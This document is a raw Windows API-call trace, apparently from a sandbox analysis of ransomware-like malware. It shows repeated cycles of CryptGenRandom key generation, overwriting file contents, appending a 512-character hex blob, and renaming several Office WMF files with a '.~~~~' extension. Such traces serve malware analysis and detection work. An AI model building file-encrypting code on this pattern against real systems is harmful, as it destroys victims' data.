	[0126.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.488] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.488] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.488] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.488] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.488] CloseHandle (hObject=0x144) returned 1
	[0126.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abca8
	[0126.489] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18236_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18236_.wmf.~~~~")) returned 1
	[0126.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abca8 | out: hHeap=0x300000) returned 1
	[0126.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0126.490] GetLastError () returned 0x0
	[0126.491] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.492] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0126.492] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0126.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0126.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0126.493] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24648264388) returned 1
	[0126.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4d7ce50, dwHighDateTime=0x1d60e1e)) 
	[0126.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0126.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0126.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b8c8
	[0126.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0126.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b8c8 | out: hHeap=0x300000) returned 1
	[0126.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0126.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab8b8
	[0126.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab8b8 | out: hHeap=0x300000) returned 1
	[0126.493] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.494] GetLastError () returned 0x0
	[0126.494] GetLastError () returned 0x0
	[0126.494] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.494] GetLastError () returned 0x0
	[0126.494] GetLastError () returned 0x0
	[0126.497] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffffa04, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.497] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x5fc, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x5fc, lpOverlapped=0x0) returned 1
	[0126.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.499] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.499] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.499] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.499] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.499] CloseHandle (hObject=0x144) returned 1
	[0126.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab8b8
	[0126.499] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18237_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18237_.wmf.~~~~")) returned 1
	[0126.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab8b8 | out: hHeap=0x300000) returned 1
	[0126.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0126.500] GetLastError () returned 0x0
	[0126.501] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.502] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0126.502] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0126.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0126.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0126.502] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24649219946) returned 1
	[0126.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4da2fb0, dwHighDateTime=0x1d60e1e)) 
	[0126.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0126.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0126.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821898
	[0126.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0126.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821898 | out: hHeap=0x300000) returned 1
	[0126.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0126.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aaaf0
	[0126.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaaf0 | out: hHeap=0x300000) returned 1
	[0126.503] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.503] GetLastError () returned 0x0
	[0126.503] GetLastError () returned 0x0
	[0126.503] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.503] GetLastError () returned 0x0
	[0126.504] GetLastError () returned 0x0
	[0126.506] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff9cc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.506] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x634, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x634, lpOverlapped=0x0) returned 1
	[0126.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.512] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.512] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.512] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.512] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.512] CloseHandle (hObject=0x144) returned 1
	[0126.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaaf0
	[0126.512] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18238_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18238_.wmf.~~~~")) returned 1
	[0126.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaaf0 | out: hHeap=0x300000) returned 1
	[0126.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0126.514] GetLastError () returned 0x0
	[0126.514] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.515] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0126.515] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0126.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0126.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0126.516] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24650565224) returned 1
	[0126.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4dc9110, dwHighDateTime=0x1d60e1e)) 
	[0126.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0126.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0126.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28218d0
	[0126.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0126.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28218d0 | out: hHeap=0x300000) returned 1
	[0126.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0126.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab768
	[0126.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab768 | out: hHeap=0x300000) returned 1
	[0126.516] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.517] GetLastError () returned 0x0
	[0126.517] GetLastError () returned 0x0
	[0126.517] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.517] GetLastError () returned 0x0
	[0126.517] GetLastError () returned 0x0
	[0126.521] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff6c3c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.521] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x93c4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x93c4, lpOverlapped=0x0) returned 1
	[0126.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.523] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.523] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.523] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.523] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.523] CloseHandle (hObject=0x144) returned 1
	[0126.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab8b8
	[0126.524] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18239_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18239_.wmf.~~~~")) returned 1
	[0126.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab8b8 | out: hHeap=0x300000) returned 1
	[0126.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0126.525] GetLastError () returned 0x0
	[0126.525] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.526] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0126.526] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0126.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0126.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0126.527] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24651678156) returned 1
	[0126.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4def270, dwHighDateTime=0x1d60e1e)) 
	[0126.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0126.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0126.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821908
	[0126.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0126.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821908 | out: hHeap=0x300000) returned 1
	[0126.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0126.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab6c0
	[0126.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab6c0 | out: hHeap=0x300000) returned 1
	[0126.527] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.528] GetLastError () returned 0x0
	[0126.528] GetLastError () returned 0x0
	[0126.528] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.528] GetLastError () returned 0x0
	[0126.528] GetLastError () returned 0x0
	[0126.545] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff538, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.545] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xac8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xac8, lpOverlapped=0x0) returned 1
	[0126.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.546] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.546] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.546] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.546] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.546] CloseHandle (hObject=0x144) returned 1
	[0126.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abea0
	[0126.592] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18241_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18241_.wmf.~~~~")) returned 1
	[0126.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abea0 | out: hHeap=0x300000) returned 1
	[0126.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0126.595] GetLastError () returned 0x0
	[0126.595] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.596] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.596] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0126.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0126.596] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24658650072) returned 1
	[0126.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4e877f0, dwHighDateTime=0x1d60e1e)) 
	[0126.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0126.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0126.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821a58
	[0126.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821a58 | out: hHeap=0x300000) returned 1
	[0126.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab810
	[0126.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab810 | out: hHeap=0x300000) returned 1
	[0126.597] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.597] GetLastError () returned 0x0
	[0126.598] GetLastError () returned 0x0
	[0126.598] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.598] GetLastError () returned 0x0
